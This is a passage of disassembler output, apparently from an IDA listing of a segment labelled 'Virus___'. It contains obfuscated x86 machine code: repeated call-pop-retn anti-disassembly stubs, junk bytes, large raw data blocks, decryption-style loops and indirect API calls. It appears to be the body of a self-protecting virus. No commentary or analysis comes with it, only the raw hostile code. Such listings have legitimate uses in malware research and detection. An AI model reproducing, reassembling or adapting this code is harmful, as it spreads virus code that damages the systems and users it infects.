		sub	ecx, 4
		jnz	short loc_584747
		jmp	short $+2


loc_584762:				; CODE XREF: Virus___:0058472Aj
					; Virus___:00584745j
		mov	eax, eax
		mov	edi, [ebp+71B1775h]
		push	0
		push	ebx
		call	sub_584775
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_584775	proc near		; CODE XREF: Virus___:0058476Dp

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 18h
		inc	ebx
		push	ebx
		retn
sub_584775	endp

; ---------------------------------------------------------------------------
		db 0E2h, 57h, 0F5h
; ---------------------------------------------------------------------------
		sub	eax, 0CDBD83F6h
		sbb	[ebx], bl
		pop	es
		add	ecx, [edi]
		test	[esp+eax+6A0000h], edi
		push	ebx
		call	sub_5847A2
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5847A2	proc near		; CODE XREF: Virus___:0058479Ap

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 15h
		inc	ebx
		push	ebx
		retn
sub_5847A2	endp

; ---------------------------------------------------------------------------
		dw 2959h
; ---------------------------------------------------------------------------
		cmp	dword ptr [ebp+71EABC8h], 0
		jz	loc_584C53
		push	0
		push	ecx
		call	sub_5847CC
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5847CC	proc near		; CODE XREF: Virus___:005847C4p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 1Dh
		inc	ecx
		push	ecx
		retn
sub_5847CC	endp

; ---------------------------------------------------------------------------
		and	al, 43h
		add	al, 0DEh
		mov	[ebx+ecx*4], dl
		xor	ebp, 0FFFFFFE1h
		jmp	loc_5847FE
; ---------------------------------------------------------------------------
		db 9Ah
		dd 0A3A39605h, 86DC5F5Eh, 0C9F333B2h, 8F9FD838h
		db 82h,	0F5h
; ---------------------------------------------------------------------------


loc_5847FE:				; CODE XREF: Virus___:005847E6j
		mov	[ebp+71B2405h],	ebx
		push	dword ptr [ebp+71EABC8h]
		push	0
		push	ecx
		call	sub_584815
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_584815	proc near		; CODE XREF: Virus___:0058480Dp

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 1Ch
		inc	ecx
		push	ecx
		retn
sub_584815	endp

; ---------------------------------------------------------------------------
		sbb	[ebp-42B3CB1Ah], bl
		aas
		icebp
		mov	esp, 16A1BD8Bh
		sbb	eax, [edi]
		call	dword ptr [ebp+71B09A5h]
		cmc
		mov	esi, [ebp+71EABBCh]
		mov	[ebp+71B2B39h],	esi
		movzx	edi, bx
		mov	dword ptr [esi], 10001h
		push	0
		push	edx
		call	sub_58485B
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58485B	proc near		; CODE XREF: Virus___:00584853p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 1Ch
		inc	edx
		push	edx
		retn
sub_58485B	endp

; ---------------------------------------------------------------------------
		db 0F4h
; ---------------------------------------------------------------------------
		xchg	eax, edx
		jmp	dword ptr ss:[esi-69119FC1h]
; ---------------------------------------------------------------------------
		jmp	loc_58488B
; ---------------------------------------------------------------------------
		inc	eax
		xor	[ebp-11447347h], esp
		jmp	fword ptr [esi]
; ---------------------------------------------------------------------------
		dw 612Dh
		dd 44CE633Ah
		db 12h,	37h, 31h
; ---------------------------------------------------------------------------


loc_58488B:				; CODE XREF: Virus___:00584874j
		xchg	eax, esi
		jbe	loc_584898
		pusha
		mov	ah, ch
		mov	ecx, eax
		popa


loc_584898:				; CODE XREF: Virus___:0058488Cj
		push	eax
		pusha
		mov	dx, ax
		jmp	loc_5848B6
; ---------------------------------------------------------------------------
		dw 0C5B7h
		dd 8A54503Bh, 75D8BE59h, 26FEE6E7h, 8F78355Ah
; ---------------------------------------------------------------------------
		inc	ebp
		push	ecx


loc_5848B6:				; CODE XREF: Virus___:0058489Dj
		popa
		xchg	eax, esi
		push	0
		push	ebx
		call	sub_5848C3
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5848C3	proc near		; CODE XREF: Virus___:005848BBp

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 1Bh
		inc	ebx
		push	ebx
		retn
sub_5848C3	endp

; ---------------------------------------------------------------------------
		db	3Eh
		dec	ecx
		int	3		; Trap to Debugger
		shl	ch, cl
		db	64h
		mov	bh, 10h
		mov	ebx, 1A9DCAF2h
		mov	ebx, [ebp+71B0325h]
		push	dword ptr [ebp+71EABC8h]
		mov	[ebp+71B1391h],	ecx
		call	dword ptr [ebp+71B3561h]
		push	0
		push	esi
		call	sub_584903
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_584903	proc near		; CODE XREF: Virus___:005848FBp

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 1Dh
		inc	esi
		push	esi
		retn
sub_584903	endp

; ---------------------------------------------------------------------------
		db 0A6h
		dd 70305C9Bh, 0A876CD8Fh, 0DEB70F2Bh, 0ABBCB58Bh, 6A071Eh
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 150424h, 55450000h
		dd 810CC2C3h, 874811EFh, 0EB816661h, 9D8BB40Fh,	71B2C99h
		dd 411858Bh, 6A071Bh, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 1C0424h, 52420000h, 933F8FC3h, 0DBCC130h, 8689BA8Bh
		dd 0C4h, 259DBD89h, 958B071Bh, 71B29B5h, 0E850006Ah, 3
		dd 58C35820h, 4244489h,	4244481h, 1Ch, 48C35040h, 0D4FC016Ah
		dd 0B376C6D0h, 0FFE8B66h, 680h,	218D8900h, 83071B35h, 6A04C2h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 170424h, 56460000h
		dd 170C9FC3h, 0AD9D8947h, 8A071B2Bh, 205089F8h,	253D9D0Bh
		dd 858D071Bh, 71EBFF9h,	205D9D2Bh, 8689071Bh, 0B8h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 1Ch, 0FFC35040h, 0E7E0E596h
		dd 7C4E186Bh, 6850Fh, 0BD090000h, 71B24B9h, 870F006Ah
		dd 6, 0BC59509h, 0B5FF071Bh, 71EABC8h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 1Bh, 0A7C35141h,	87A51FA5h, 0FF39F8BDh
		dd 1B09DD95h, 56006A07h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1504h, 0C3564600h, 9529399Ch, 71B05C1h, 1880Fh, 50FC0000h
		dd 89DF8B66h, 6A2434h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 160424h, 53430000h, 392F7FC3h, 8B91BF66h, 0ABC8B5FFh
		dd 0E953071Eh, 0Fh, 2E301A78h, 838DAD98h, 877BDAD7h, 5F766C23h
		dd 34195FFh, 8D09071Bh,	71B32ADh, 31BD83FCh, 71B24h, 3C840Fh
		dd 95010000h, 71B0A19h,	0D4F4BB96h, 56507789h, 5BF88B66h
		dd 52006A96h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1B04h
		dd 0C3524200h, 0B91FB86h, 54BB6279h, 2411BD8Bh,	0B5FF071Bh
		dd 71EABC8h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 1Dh,	59C35040h, 5909A6Bh, 0B1D6BBD4h, 3D9D8BACh, 0FF071B20h
		dd 1B18A595h, 0FFDF8B07h, 1EABC8B5h, 53006A07h,	3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1C04h,	0C3534300h, 645213AFh
		dd 4A70C56Ah, 0D1958996h, 0F071B2Ah, 68Eh, 41BD0B00h, 0FF071B30h
		dd 1B293D95h, 2D9D8B07h, 83071B09h, 1B28F1BDh, 840F0207h
		dd 81h,	0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 14h
		dd 7AC35646h, 2D299D8Bh, 858B071Bh, 71B007Dh, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 17h, 1AC35242h, 81D79BAFh
		dd 0CE15B2D3h, 8E86Dh, 0BD780000h, 6B5BBAB3h, 0BD8BF4CCh
		dd 71B09B1h, 0C65Bh, 0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 15h, 0F1C35040h, 9185C7CAh, 71B09h
		db 3 dup(0)
; ---------------------------------------------------------------------------


loc_584C53:				; CODE XREF: Virus___:005847BBj
		jmp	near ptr dword_583880+60Fh
; ---------------------------------------------------------------------------
		push	0
		push	edx
		call	sub_584C63
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_584C63	proc near		; CODE XREF: Virus___:00584C5Bp

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 19h
		inc	edx
		push	edx
		retn
sub_584C63	endp

; ---------------------------------------------------------------------------
		db 7Fh
aSbSf1anIaLJ	db 'èB!˜f1/',1Bh,7,'‰¹,',1Bh,7,'‹Áj',0
; ---------------------------------------------------------------------------
		push	edi
		call	sub_584C92
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_584C92	proc near		; CODE XREF: Virus___:00584C8Ap

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 1Bh
		inc	edi
		push	edi
		retn
sub_584C92	endp

; ---------------------------------------------------------------------------
		dw 8A9Ah
		dd 0B81C8BAFh, 0F5233E7h, 18Fh,	0E95FFC00h, 12h, 2EDE7298h
		dd 2DFBB2DEh, 0A463D86Ch, 0A09286BCh, 858DEBE2h, 71B1255h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 5C35343h
		dd 0E21A027h, 66FC1AACh, 26CBF381h, 0E990D98Bh,	0Ch, 375A5866h
		dd 1AB8B9E9h, 79257BF0h, 0BF525050h, 0C254713h,	5E8310Fh
		dd 96000000h, 0EEFFAEE0h, 820Fh, 5A5B0000h, 6A9058h, 3E855h
		dd 5D200000h, 6C895DC3h, 44810424h, 1C0424h, 55450000h
		dd 203C3FC3h, 7E6A2F5Ah, 10E9A40Ch, 0ED000000h,	74238F26h
		dd 27E64E02h, 0F8AC148Bh, 6ABC5EEEh, 51006A00h,	3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1D04h,	0C3514100h, 851EEEB8h
		dd 97690F83h, 0AE98DCBh, 5E000000h, 97CFCB09h, 0A6A9A5A1h
		dd 9D09FC31h, 71B29C9h,	0DBB3006Ah, 9D9B858Dh, 6A071Fh
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 180424h, 55450000h
		dd 0E8EDADC3h, 6E898A0h, 56000000h, 92A91B8h, 0FE8B661Fh
		dd 5C0835Fh, 1B319D29h,	6690071Bh, 0E850DA8Bh, 5, 27340F98h
		dd 6840F79h, 0F000000h,	84h, 89905B00h,	1B21019Dh, 0F006A07h
		dd 686h, 49BD8900h, 6A071B23h, 55006A00h, 3E8h,	0C35D2000h
		dd 246C895Dh, 24448104h, 1604h,	0C3554500h, 60FD9CE5h
		dd 2585BD8Bh, 8961071Bh, 1B0A05BDh, 0A995FF07h,	0F071B1Eh
		dd 8F0FDBB7h, 6, 2BD9BD89h, 8D8D071Bh, 71E979Ch, 68B0Fh
		dd 9D8B0000h, 71B1249h,	0EE9h, 85CE3200h, 0FD8CFBF3h, 918B5298h
		dd 0FF6B7DBBh, 5BD83D1h, 1071B21h, 7B850Fh, 6A0000h, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 1B0424h, 57470000h
		dd 227A79C3h, 45C40D17h, 1CE781F8h, 6A7C6E78h, 53006A02h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1A04h, 0C3534300h
		dd 0D2FC57B3h, 665F3AF5h, 507B95BBh, 0BE9h, 0E06800h, 0A0D5522h
		dd 413E61C9h, 29240489h, 1B12C1BDh, 0DD95FF07h,	0E9071B09h
		dd 5, 80A9379Ah, 0C81E9A4h, 0E80000h, 5D000000h, 9DA5ED81h
		dd 6A071Fh, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1B0424h
		dd 55450000h, 626D86C3h, 0FD735DE7h, 28B0F25h, 8B000000h
		dd 0D9BF0FDFh, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 17h,	0F9C35646h, 0F5E03203h,	9202858Dh, 9589071Eh, 71B2E4Dh
		dd 0FE8A5090h, 35FF6490h, 0
; ---------------------------------------------------------------------------
		mov	large fs:0, esp
		sub	ebx, [ebp+71B3521h]
		inc	dword ptr [ebp+71B264Dh]
		mov	edi, 5C35DDAFh
		mov	ebx, esi
		push	0FFFFFFFFh
		push	0
		push	esi
		call	sub_584FA3
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_584FA3	proc near		; CODE XREF: Virus___:00584F9Bp

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 17h
		inc	esi
		push	esi
		retn
sub_584FA3	endp

; ---------------------------------------------------------------------------
		db 55h
		db 0F2h, 8, 0C9h
; ---------------------------------------------------------------------------
		mov	edi, ebx
		push	dword ptr [ebp+71B2E85h]
		push	0
		push	ebx
		call	sub_584FCA
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_584FCA	proc near		; CODE XREF: Virus___:00584FC2p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 1Bh
		inc	ebx
		push	ebx
		retn
sub_584FCA	endp

; ---------------------------------------------------------------------------
		dw 0DD16h
		dd 0FE567FFDh, 0F88A4016h, 2F4595FFh, 13E9071Bh, 0F000001h
		dd 188Ah, 13E900h, 6D700000h, 69220CDCh, 8A7766ECh, 7307999Ah
		dd 0D9DD1AAFh, 0FDC78119h, 0B009E17Eh, 3DBD8B00h, 0E6071B1Ch
		dd 95BD8B70h, 0E4071B2Ah, 0C191BF71h, 613C66B4h, 0D0830Fh
		dd 9D8B0000h, 71B2921h,	60C8B60Fh, 0DDCDBA51h, 0E95A6459h
		dd 5, 6E42AF8Bh, 6BA6172h, 8B000000h, 4E8C1C1h,	9498589h
		dd 0F766071Bh, 41BD8BE2h, 2B071B00h, 8BA8B7C8h,	55BB66D1h
		dd 8E96Dh, 89530000h, 1B24B98Dh, 858B5F07h, 71B05CDh, 831ACF80h
		dd 896007C0h, 1B315D85h, 0D3BF0F07h, 0C08361h, 5E8h, 12047700h
		dd 10E9E7F7h, 6F000000h, 5D9A96AAh, 0F3601A08h,	2D9CF564h
		dd 5F70FB77h, 3BDFBF0Fh, 0D830FD0h, 9000000h, 1B354D85h
		dd 34E907h, 8DB70000h, 0A698D8Bh, 0BD23071Bh, 71B1459h
		dd 0F01E183h, 1D84h, 0E8D38000h, 0A69A583h, 8BFE071Bh
		dd 1B35059Dh, 0CD958907h, 60071B05h, 0E961h, 0B58D0000h
		dd 71F1078h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 14h,	49C35545h, 1A659589h, 6A071Bh, 3309BD89h, 95FF071Bh
		dd 71B1289h, 2E21BD89h,	73B9071Bh, 8B000008h, 0FCE183F8h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 16h, 0EDC35646h
		dd 6AFCC2DDh, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 1B042444h, 42000000h, 0FC8EC352h, 2307493Bh,	0B840ECh
		dd 6A000000h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 17042444h, 46000000h, 9EDCC356h, 10E97F79h, 0C8000000h
		dd 2E528D22h, 5B9946EAh, 0C91B1700h, 0BA2430F0h, 0
; ---------------------------------------------------------------------------
		push	0
		push	ebx
		call	sub_5851D3
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5851D3	proc near		; CODE XREF: Virus___:005851CBp

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 14h
		inc	ebx
		push	ebx
		retn
sub_5851D3	endp

; ---------------------------------------------------------------------------
		sti


loc_5851E4:				; CODE XREF: Virus___:005851EEj
		lodsd
		xor	eax, edx
		shr	eax, 1
		add	edx, eax
		sub	ecx, 4
		jnz	short loc_5851E4
		mov	di, bx
		or	eax, 88h
		push	0
		push	eax
		call	sub_585203
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_585203	proc near		; CODE XREF: Virus___:005851FBp

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 19h
		inc	eax
		push	eax
		retn
sub_585203	endp

; ---------------------------------------------------------------------------
		db 0EAh
; ---------------------------------------------------------------------------
		xor	eax, 0D03E208h
		mov	edx, [ebp+71B29B5h]
		push	0
		push	ebp
		call	sub_58522A
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58522A	proc near		; CODE XREF: Virus___:00585222p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 18h
		inc	ebp
		push	ebp
		retn
sub_58522A	endp

; ---------------------------------------------------------------------------
		dw 7D31h
		dd 8B1C8F59h, 1B02F58Dh, 19D3307h, 50071B1Fh, 188BC28Bh
		dd 188BC103h, 0E8D1C18Bh, 188BC203h, 0DAB70F58h, 0E9FE8B66h
		dd 0Ch,	6A70A5FEh, 24355E59h, 4363C5AFh, 2165BD83h, 0F00071Bh
		dd 4084h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1C04h, 0C3564600h, 0C15B4853h, 0EF0B0FB5h, 29EF805Bh
		dd 0B8h, 898D8D00h, 29071B4Fh, 1B24F1BDh, 89E1FF07h, 1B30519Dh
		dd 0CDBD8307h, 71B18h, 414840Fh, 89600000h, 1B16198Dh
		dd 45858B07h, 61071B24h, 18CDBD83h, 0F01071Bh, 41484h
		dd 55DB8100h, 83073E1Fh, 1B18CDBDh, 860F0307h, 3CBh, 5D5DBB66h
		dd 55006A60h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1B04h
		dd 0C3554500h, 0C8AAE19Bh, 4DE4415Bh, 8C668EB7h, 9DBD89D9h
		dd 80071B28h, 0C90A04E1h, 0DB840Fh, 6A0000h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 170424h, 55450000h, 0A17F9C3h
		dd 0E6BB66EBh, 0FABF6642h, 0E5858BFAh, 81071B30h, 1705BE3h
		dd 59B5897Eh, 33071B2Dh, 1B305585h, 57006A07h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1404h,	0C3574700h, 23BB66FBh
		dd 0FB8B66D5h, 3830F50h, 66000000h, 489FE8Bh, 48B0F24h
		dd 66000000h, 6A7C40BFh, 0A5958900h, 68071B29h,	207D3AE7h
		dd 348166B7h, 62391824h, 0CE920h, 56510000h, 0A7860BA8h
		dd 515CCA18h, 95FF9EDDh, 71B04E9h, 29318589h, 8589071Bh
		dd 71EABC8h, 0A0F38166h, 23EE96Eh, 6A0000h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 140424h, 55450000h, 8B668EC3h
		dd 0C0858BFEh, 6A071EABh, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1B042444h, 46000000h, 48E8C356h, 5AF950D6h
		dd 0C7EF9Eh, 18h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 1Dh,	3C35040h, 68ED2D62h, 0BE8A03D1h, 0F99D898Bh, 3071B21h
		dd 1B0DBDBDh, 0C4B58B07h, 6A071EABh, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 19042444h, 47000000h, 2036C357h
		dd 0E2439A54h, 21F58D29h, 858B071Bh, 71B0149h, 0CD19501h
		dd 689071Bh, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 1Bh,	85C35343h, 1B161B2Eh, 8B0801FEh, 1B30E585h, 9D9D8B07h
		dd 89071B1Bh, 0BF510446h, 13A0ED17h, 0E860965Fh, 0Ah, 58FA36E7h
		dd 804C49BEh, 0EB8EE21h, 5F145FCDh, 0AE860h, 208A0000h
		dd 918F8458h, 424EE637h, 61F98B5Fh, 0AE95061h, 0B0000000h
		dd 3B38F2A5h, 0EC209E85h, 6A96CFh, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 150424h, 53430000h, 8BA95EC3h, 1B2BD19Dh
		dd 0EE907h, 26AE0000h, 2805CC4Ah, 138B04DEh, 3CB55C8Eh
		dd 0ABC0B5FFh, 6A071Eh,	3E856h,	5E200000h, 74895EC3h, 44810424h
		dd 160424h, 56460000h, 0FA25E2C3h, 32AD9D8Bh, 0B668071Bh
		dd 0BB6DB0D7h, 191D838Fh, 49243481h, 0E96DAFD4h, 6, 22233D72h
		dd 0BF66DD66h, 858D7844h, 71EABC8h, 8E9h, 7DDFA700h, 7CA2A827h
		dd 6830F1Ch, 8B000000h,	1B2CB59Dh, 8B665007h, 240489DAh
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 19h, 87C35747h
		dd 87B1535Dh, 0DDB52949h, 89071B25h, 1B0A0585h,	0E995FF07h
		dd 6A071B04h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 1D042444h, 43000000h, 62CCC353h, 308A1550h, 1219D1BEh
		dd 0BE9h, 3F9EEA00h, 48D9AAA8h,	0C27CA811h, 50006A61h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1C04h, 0C3504000h
		dd 7AB4E3F2h, 0A312185Fh, 69BD8B7Fh, 0C7071B04h, 1B18CD85h
		dd 307h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1604h, 0C3554500h, 51C8F6CFh, 79854BBBh, 0BD835F77h
		dd 71EABC8h, 2C840F00h,	0F5000000h, 41E9h, 50006A00h, 3E8h
		dd 0C3582000h, 24448958h, 24448104h, 1B04h, 0C3504000h
		dd 6FA8AA41h, 80E8CDA1h, 50D9DB80h, 110C30h, 0C1011144h
		dd 443010E8h, 4C000211h, 83580311h, 0E77504E9h,	305036EBh
		dd 64001104h, 0E8C10111h, 11443010h, 11640002h,	0E9835803h
		dd 0EBE77504h, 0E8C1501Bh, 11642810h, 11443003h, 64285802h
		dd 4300111h, 4E98311h, 0EBE775h, 8B66C08Bh, 0FE9D9h, 0FD280000h
		dd 0F24D6A1Ch, 0A6AC3A10h, 17DE4D1Eh, 52006AD9h, 3E8h
		dd 0C35A2000h, 2454895Ah, 24448104h, 1804h, 0C3524200h
		dd 0DD303F76h, 7D9D8927h, 83071B13h, 1B18CDBDh,	850F0307h
		dd 413h, 0E850006Ah, 3,	58C35820h, 4244489h, 4244481h
		dd 1Ah,	0E5C35040h, 0A5825F24h,	0BD83B50Ch, 71EABC8h, 0E4840F00h
		dd 8B000003h, 1B04E19Dh, 0C8B5FF07h, 6A071EABh,	3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 17042444h, 45000000h
		dd 0BC08C355h, 8589D18Ah, 71B1655h, 9A595FFh, 8589071Bh
		dd 71B0D25h, 0ABBCB58Bh, 6A071Eh, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 1D0424h, 55450000h, 5AABCAC3h, 0BC4C05B8h
		dd 0FB2446Eh, 581h, 0FE44BF00h,	6C74AEFh, 10001h, 68E0Fh
		dd 95290000h, 71B1445h,	24348950h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 1Ah, 0D7C35141h,	0B1494DCBh, 0CF81203Dh
		dd 241BE18Ch, 0CA816660h, 9D8B6038h, 71B233Dh, 0C8B5FF61h
		dd 6A071EABh, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 17042444h, 42000000h, 90C8C352h, 95FF5043h, 71B3561h
		dd 0BF66FA8Bh, 0B58B7B3Bh, 71EABBCh, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 16h, 0BDC35646h,	858BC587h, 71B0411h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Ch, 19C35747h
		dd 0E1783763h, 0A526B3E9h, 17099D8Bh, 0BF0F071Bh, 518531DFh
		dd 89071B14h, 0C486h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1B04h, 0C3524200h, 3C1F263Dh, 88406E00h
		dd 552072BBh, 6880F32h,	89000000h, 1B152985h, 11E907h
		dd 6540000h, 37877FB4h,	2E4C2F0Ch, 5EC6687Ch, 8B420B04h
		dd 1B29B595h, 55006A07h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1B04h, 0C3554500h, 9580BCAh,	7C13A17Dh, 2601B529h, 0C283071Bh
		dd 6820F04h, 31000000h,	1B30E9BDh, 25952907h, 89071B27h
		dd 85892050h, 71B08C1h,	0BFF9858Dh, 0BF0F071Eh,	0B88689DFh
		dd 66000000h, 869ED781h, 6A006Ah, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 170424h, 53430000h, 14166AC3h, 49BD8B09h
		dd 0FF071B29h, 1EABC8B5h, 57006A07h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1604h,	0C3574700h, 0F1B449Dh
		dd 688h, 459D8900h, 0FF071B0Ah,	1B09DD95h, 50006A07h, 3E8h
		dd 0C3582000h, 24448958h, 24448104h, 1804h, 0C3504000h
		dd 419E3468h, 1173BB51h, 60505064h, 0B1D98B60h,	525061B9h
		dd 59A9A8B9h, 5A310F35h, 34896158h, 55006A24h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h
		dd 1604h, 0C3554500h, 5075522Ah, 6880Fh, 9D8B0000h, 71B3455h
		dd 0FF8EB35Bh, 1EABC8B5h, 0FF86B307h, 1B034195h, 51006A07h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1604h, 0C3514100h
		dd 99E744Fh, 1B306D95h,	0BD83F907h, 71B2431h, 22840F00h
		dd 8B000000h, 1B2841BDh, 81665007h, 5B566FF7h, 7E950h
		dd 0E8EF0000h, 721A8292h, 243489D8h, 11549CBFh,	0C8B5FF74h
		dd 6A071EABh, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 1A042444h, 42000000h, 6C6EC352h, 0E72E9913h,	799D8999h
		dd 0FF071B1Ah, 1B18A595h, 85BD8907h, 0FF071B25h, 1EABC8B5h
		dd 1D9D8B07h, 0FF071B04h, 1B293D95h, 0E6DF8007h, 14A19D2Bh
		dd 0BD83071Bh, 71B28F1h, 4A840F02h, 6A000000h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 16042444h, 45000000h
		dd 0B1D7C355h, 858BF863h, 71B007Dh, 31798589h, 0C6071Bh
		dd 53006A00h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1404h
		dd 0C3534300h, 9185C7A2h, 71B09h, 0BB000000h, 6D1F342Ch
		dd 0E9F88B66h, 0FFFFF41Ah, 8E9h, 8AB24700h, 92777E77h
		dd 8DC18BC7h, 1B125585h, 52006A07h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1704h, 0C3524200h, 98E6A9E5h, 880Fh, 0E9900000h
		dd 7, 5088BA2Eh, 50F562BBh, 0D98B5250h,	0FA8B310Fh, 6A90585Ah
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 15042444h
		dd 47000000h, 0CDA5C357h, 21D4FABBh, 0F006A77h,	6ADFBFh
		dd 16E1BD8Bh, 858D071Bh, 71FABBEh, 0BDD5D381h, 0C0837FE2h
		dd 0F3816605h, 609082F5h, 0F78B6653h, 6050615Fh, 11E8h
		dd 21BE0000h, 9908A23Ch, 7401305h, 13042660h, 0DD8AEA51h
		dd 11E95658h, 3000000h,	0B1998C57h, 0B01536Dh, 0FDF22889h
		dd 843B09EEh, 6A90615Ah, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 19042444h, 40000000h, 0B627C350h,	0E858B449h
		dd 0C9B1BF66h, 8166006Ah, 6A423ED7h, 0A995FF00h, 66071B1Eh
		dd 916FDF81h, 979C8D8Dh, 6A071Eh, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 1C0424h, 51410000h, 1D1732C3h, 9DE4914Ah
		dd 9D31A9DAh, 71B117Dh,	9D89D1FFh, 71B05C1h, 2105BD83h
		dd 0F01071Bh, 5B85h, 3860F00h, 0F000000h, 26AFBB7h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh, 15C35747h, 104F0CD7h
		dd 505646B1h, 0E9240489h, 12h, 479CC7FFh, 5F1FFFA5h, 696F2017h
		dd 0C664AE37h, 9531E092h, 71B2E75h, 9DD95FFh, 0BD8B071Bh
		dd 71B0045h, 0D90E9h, 0E800h, 815D0000h, 1FABC8EDh, 0EE907h
		dd 0AB8C0000h, 474EA5F4h, 5C65B577h, 0E64552DAh, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Ah, 5FC35343h, 604AB7Ch
		dd 9D8B88E4h, 71B0BB5h,	9202858Dh, 0BD2B071Eh, 71B05C1h
		dd 0F525090h, 0F88B6631h, 6050585Ah, 0BCD6BB60h, 61603EADh
		dd 6A906161h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
